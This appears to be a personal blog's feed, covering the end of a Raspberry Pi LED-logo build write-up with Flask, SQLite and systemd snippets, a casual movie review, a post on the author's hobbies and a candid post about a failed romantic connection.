    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    Movie review: Scent of a Womanhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/Mon, 13 Oct 2025 08:52:10 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/My reaction to the movie as a not so pro movie watcherI’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    +

    Few points before I begin.

    +
      +
    • This was aside from the therapy session.
    • +
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • +
    • I watched this movie in about two parts in a single day!
    • +
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • +
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.
    • +
    +

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    +

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +]]>
    Hobbieshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/Fri, 10 Oct 2025 07:04:54 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/My point of view on hobbiesWhen I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +]]>
    Relationshipshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/Sun, 05 Oct 2025 08:03:31 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/My experience so far with relationships +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

